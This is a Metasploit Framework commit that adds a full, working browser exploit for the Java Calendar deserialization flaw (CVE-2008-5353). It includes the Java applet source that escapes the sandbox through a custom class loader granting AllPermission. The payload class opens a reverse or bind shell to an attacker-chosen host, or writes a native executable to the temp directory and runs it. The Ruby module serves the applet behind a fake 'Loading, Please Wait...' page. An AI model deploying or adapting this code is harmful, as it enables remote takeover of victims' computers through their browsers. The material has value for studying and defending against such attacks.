Add Stephen Fewer's shiny exploit for the Java deserialization flaw

git-svn-id: file:///home/svn/framework3/trunk@6664 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2009-06-16 17:19:44 +00:00
parent 9f69267759
commit b8efb1bbf9
13 changed files with 524 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<classpath>
<classpathentry kind="src" path="src"/>
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
<classpathentry kind="output" path="bin"/>
</classpath>

View File

@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<projectDescription>
<name>CVE-2008-5353</name>
<comment></comment>
<projects>
</projects>
<buildSpec>
<buildCommand>
<name>org.eclipse.jdt.core.javabuilder</name>
<arguments>
</arguments>
</buildCommand>
</buildSpec>
<natures>
<nature>org.eclipse.jdt.core.javanature</nature>
</natures>
</projectDescription>

View File

@ -0,0 +1,12 @@
#Thu May 21 11:57:24 BST 2009
eclipse.preferences.version=1
org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.1
org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
org.eclipse.jdt.core.compiler.compliance=1.3
org.eclipse.jdt.core.compiler.debug.lineNumber=generate
org.eclipse.jdt.core.compiler.debug.localVariable=generate
org.eclipse.jdt.core.compiler.debug.sourceFile=generate
org.eclipse.jdt.core.compiler.problem.assertIdentifier=ignore
org.eclipse.jdt.core.compiler.problem.enumIdentifier=ignore
org.eclipse.jdt.core.compiler.source=1.3

View File

@ -0,0 +1,7 @@
/* AUTOMATICALLY GENERATED ON Tue Apr 16 17:20:59 EDT 2002*/
/* DO NOT EDIT */
grant {
permission java.security.AllPermission;
};

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,75 @@
/*
* 28 May 2009 - v3
*
* Based off Landon Fuller's PoC and write up here:
* http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html
*
* An interesting discussion by Julien Tinnes can be found here:
* http://blog.cr0.org/2009/05/write-once-own-everyone.html
*
* This issue has been resolved by Sun, details can be found here:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5353
* http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1
*
* To test, grab and install an old vulnerable copy of the JRE/JDK here:
* http://java.sun.com/products/archive/
*
* Once compiled into an applet (Applet.jar) it can be loaded with the following html:
* <html>
* <head></head>
* <body>
* <applet archive="Applet.jar" code="msf.x.AppletX.class" width="1" height="1">
* <param name="data" value="41414141424242424343434355555555"/>
* <param name="lhost" value="192.168.2.2"/>
* <param name="lport" value="4444"/>
* </applet>
* </body>
* </html>
*
* If the data param is set, PayloadX will drop this native payload data to file and execute it.
* If no data param is set (or it is empty):
* If an lhost is set, PayloadX will perform a reverse TCP shell to lhost:4444
* If lhost and lport are set, PayloadX will perform a reverse TCP shell to lhost:lport
* If no lhost is set, PayloadX will perform a bind shell on TCP port lport
* If no params are set, PayloadX will perform a bind shell on TCP port 4444
*/
package msf.x;
import java.applet.Applet;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
public class AppletX extends Applet
{
private static final long serialVersionUID = -3238297386635759160L;
// a slightly modified version of Fuller's serialized Calendar object in hex form...
private static final String serializedObject = "ACED00057372001B6A6176612E7574696C2E477265676F7269616E43616C656E6461728F3DD7D6E5B0D0C10200014A0010677265676F7269616E4375746F766572787200126A6176612E7574696C2E43616C656E646172E6EA4D1EC8DC5B8E03000B5A000C6172654669656C647353657449000E66697273744461794F665765656B5A0009697354696D655365745A00076C656E69656E744900166D696E696D616C44617973496E46697273745765656B4900096E6578745374616D7049001573657269616C56657273696F6E4F6E53747265616D4A000474696D655B00066669656C64737400025B495B000569735365747400025B5A4C00047A6F6E657400144C6A6176612F7574696C2F54696D655A6F6E653B78700100000001010100000001000000020000000100000121563AFC0E757200025B494DBA602676EAB2A502000078700000001100000001000007D9000000040000001500000004000000120000008A00000002000000030000000100000004000000100000001100000022000002DEFE488C0000000000757200025B5A578F203914B85DE20200007870000000110101010101010101010101010101010101737200186A6176612E7574696C2E53696D706C6554696D655A6F6E65FA675D60D15EF5A603001249000A647374536176696E6773490006656E6444617949000C656E644461794F665765656B490007656E644D6F6465490008656E644D6F6E7468490007656E6454696D6549000B656E6454696D654D6F64654900097261774F666673657449001573657269616C56657273696F6E4F6E53747265616D490008737461727444617949000E73746172744461794F665765656B49000973746172744D6F646549000A73746172744D6F6E7468490009737461727454696D6549000D737461727454696D654D6F64654900097374617274596561725A000B7573654461796C696768745B000B6D6F6E74684C656E6774687400025B42787200126A6176612E7574696C2E54696D655A6F6E6531B3E9F57744ACA10200014C000249447400124C6A6176612F6C616E672F537472696E673B787074000E416D65726963612F446177736F6E0036EE80000000000000000000000000000000000000000000000000FE488C00000000020000000000000000000000000000000000000000000000000000000000757200025B42ACF317F8060854E002000078700000000C1F1C1F1E1F1E1F1F1E1F1E1F770A000000060000000000007571007E0006000000020000000000000000787372000D6D73662E782E4C6F61646572585E8B4C67DDC409D8020000787078FFFFF4E2F964AC000A";
public static String data = null;
public void init()
{
try
{
ObjectInputStream oin = new ObjectInputStream( new ByteArrayInputStream( PayloadX.StringToBytes( serializedObject ) ) );
Object deserializedObject = oin.readObject();
if( deserializedObject != null && LoaderX.instance != null )
{
String data = getParameter( "data" );
String lhost = getParameter( "lhost" );
String lport = getParameter( "lport" );
if( data == null )
data = "";
LoaderX.instance.bootstrapPayload( data, lhost, ( lport == null ? 4444 : Integer.parseInt( lport ) ) );
}
}
catch( Exception e ) {}
}
}

View File

@ -0,0 +1,94 @@
// This is heavily based off Fuller's Loader
package msf.x;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.URL;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.lang.reflect.Field;
public class LoaderX extends ClassLoader implements Serializable
{
// The serial UID must match that as set in the vulnerable serializedObject.
private static final long serialVersionUID = 6812622870313961944L;
public static LoaderX instance = null;
private void writeObject( ObjectOutputStream oos ) throws IOException, ClassNotFoundException
{
oos.defaultWriteObject();
}
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
{
LoaderX.instance = this;
ois.defaultReadObject();
}
public void bootstrapPayload( String data, String lhost, int lport ) throws IOException
{
String classNames[] = { "msf.x.PayloadX$StreamConnector", "msf.x.PayloadX" };
String classPaths[] = { "/msf/x/PayloadX$StreamConnector.class", "/msf/x/PayloadX.class" };
Class cls = null;
try
{
for( int index=0 ; index<classNames.length ; index++ )
{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
int length;
// read in the class file from the jar
InputStream is = getClass().getResourceAsStream( classPaths[index] );
// and write it out to the byte array stream
while( ( length = is.read( buffer ) ) > 0 )
bos.write( buffer, 0, length );
// convert it to a simple byte array
buffer = bos.toByteArray();
URL url = new URL( "file:///" );
Certificate[] certs = new Certificate[0];
Permissions perm = new Permissions();
perm.add( new AllPermission() );
ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );
cls = defineClass( classNames[index], buffer, 0, buffer.length, pd );
}
// cls will end up being the PayloadX class
if( cls != null )
{
// reflect into the PayloadX class to get these three fields
Field payload_data = cls.getField( "data" );
Field payload_lhost = cls.getField( "lhost" );
Field payload_lport = cls.getField( "lport" );
// instantiate the PayloadX object once so as we can set the native payload data
Object obj = cls.newInstance();
// set the native payload data, lhost and lport
payload_data.set( obj, data );
payload_lhost.set( obj, lhost );
payload_lport.setInt( obj, lport );
// instantiate a second PayloadX object to perform the actual payload
obj = cls.newInstance();
}
}
catch( Exception e ) {}
}
}

View File

@ -0,0 +1,154 @@
package msf.x;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class PayloadX implements PrivilegedExceptionAction
{
// This will contain a hex string of the native payload to drop and execute.
public static String data = null;
// If no native payload is set we get either a java bind shell or a java
// reverse shell.
public static String lhost = null;
public static int lport = 4444;
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( is ) );
out = new BufferedWriter( new OutputStreamWriter( os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
}
catch( Exception e ) {}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
}
catch( Exception e ) {}
}
}
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
public static byte[] StringToBytes( String s )
{
byte[] data = new byte[s.length() / 2];
for( int i = 0 ; i < s.length() ; i += 2 )
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
return data;
}
public Object run() throws Exception
{
// if the native payload data has not been set just return for now, it
// will be set by the next time we reach here.
if( PayloadX.data == null )
return null;
try
{
String os = System.getProperty( "os.name" );
// if we have no native payload to drop and execute we default to
// either a TCP bind or reverse shell.
if( PayloadX.data.length() == 0 )
{
Socket client_socket = null;
String shell = "/bin/sh";
if( os.indexOf( "Windows" ) >= 0 )
shell = "cmd.exe";
if( PayloadX.lhost == null )
{
ServerSocket server_socket = new ServerSocket( PayloadX.lport );
client_socket = server_socket.accept();
}
else
{
client_socket = new Socket( PayloadX.lhost, PayloadX.lport );
}
if( client_socket != null )
{
Process process = Runtime.getRuntime().exec( shell );
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
}
}
else
{
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";
Process p;
FileOutputStream fos = new FileOutputStream( path );
fos.write( StringToBytes( PayloadX.data ) );
fos.close();
if( os.indexOf( "Windows" ) < 0 )
{
p = Runtime.getRuntime().exec( "chmod 755 " + path );
p.waitFor();
}
p = Runtime.getRuntime().exec( path );
p.waitFor();
new File( path ).delete();
}
}
catch( Exception e ) {}
return null;
}
public PayloadX()
{
try
{
AccessController.doPrivileged( this );
}
catch( Exception e ) {}
}
}

View File

@ -0,0 +1,159 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize( info = {} )
super( update_info( info,
'Name' => 'Sun Java Calendar Deserialization Exploit',
'Description' => %q{
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
The payload can be either a native payload which is generated as an executable and
dropped/executed on the target or a shell from within the Java applet in the target browser.
The effected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16
and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
},
'License' => MSF_LICENSE,
'Author' => [ 'Stephen Fewer <stephen_fewer[at]harmonysecurity.com>', 'hdm' ],
'Version' => '1',
'References' =>
[
[ 'CVE', 'CVE-2008-5353' ],
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ],
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ]
],
'Platform' => [ 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 8192, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
# This is a bad hack to force only the generic/shell_bind_tcp and generic/shell_reverse_tcp payloads
'Platform' => ['win'],
'Payload' => { 'Space' => 0 },
'Arch' => ARCH_CMD,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0
))
end
def on_request_uri( cli, request )
data = nil
host = nil
port = nil
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
payload = regenerate_payload( cli )
if not payload
print_status( "Failed to generate the payload." )
return
end
if target.name == 'Generic (Java Payload)'
if datastore['LHOST']
host = datastore['LHOST']
port = datastore['LPORT']
print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
else
port = datastore['LPORT']
datastore['RHOST'] = cli.peerhost
print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
end
else
if target['Arch'] == ARCH_X86
data = Rex::Text.to_win32pe( payload.encoded ) if target['Platform'] == 'win'
data = Rex::Text.to_osx_x86_macho( payload.encoded ) if target['Platform'] == 'osx'
data = Rex::Text.to_linux_x86_elf( payload.encoded ) if target['Platform'] == 'linux'
elsif target['Arch'] == ARCH_PPC
data = Rex::Text.to_osx_ppc_macho( payload.encoded ) if target['Platform'] == 'osx'
end
if data
print_status( "Generated executable to drop (#{data.length} bytes)." )
data = Rex::Text.to_hex( data, prefix="" )
else
print_status( "Failed to generate the executable." )
return
end
end
send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
return
end
print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html( data, host, port )
html = "<html><head><title>Loading, Please Wait...</title></head>"
html += "<body><center><p>Loading, Please Wait...</p></center>"
html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
html += "<param name=\"data\" value=\"#{data}\"/>" if data
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
html += "</applet></body></html>"
return html
end
def generate_jar()
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" )
fd = File.open( path, "rb" )
data = fd.read(fd.stat.size)
fd.close
return data
end
end